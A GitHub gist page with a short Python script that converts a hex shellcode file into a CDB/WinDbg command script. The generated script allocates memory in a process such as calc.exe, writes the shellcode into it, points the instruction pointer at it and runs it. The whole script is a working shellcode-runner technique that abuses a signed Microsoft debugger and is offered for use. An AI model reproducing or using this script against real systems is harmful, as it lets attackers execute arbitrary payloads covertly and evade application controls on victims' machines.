Skip to content

Instantly share code, notes, and snippets.

@3xocyte
Last active March 23, 2022 07:47
Show Gist options
  • Save 3xocyte/e29c07970a577736ee3e13f981b3a435 to your computer and use it in GitHub Desktop.
Save 3xocyte/e29c07970a577736ee3e13f981b3a435 to your computer and use it in GitHub Desktop.
shellcode to cbd.exe
#!/usr/bin/env python
# run: cdb.exe -cf output.wds -o calc.exe
# From: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
src = open('shellcode', 'r')
sc = src.read()
src.close
copy = ";eb @$t0+"
payload = ""
# allocate this:
allocate = len(sc)/2
for i in range(allocate):
count = "{:02x}".format(i)
pos = i * 2
bytes = sc[pos] + sc[pos+1]
if i % 4 == 0:
payload += "\r\n" + copy + count.upper() + " " + bytes.upper()
else:
payload += copy + count.upper() + " " + bytes.upper()
output = ".foreach /pS 5 ( register { .dvalloc " + str(allocate) + " } ) { r @$t0 = register }"+payload+"\r\nr @$ip=@$t0\r\ng\r\nq\r\n"
dest = open("output.wds", "w")
dest.write(output)
dest.close
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment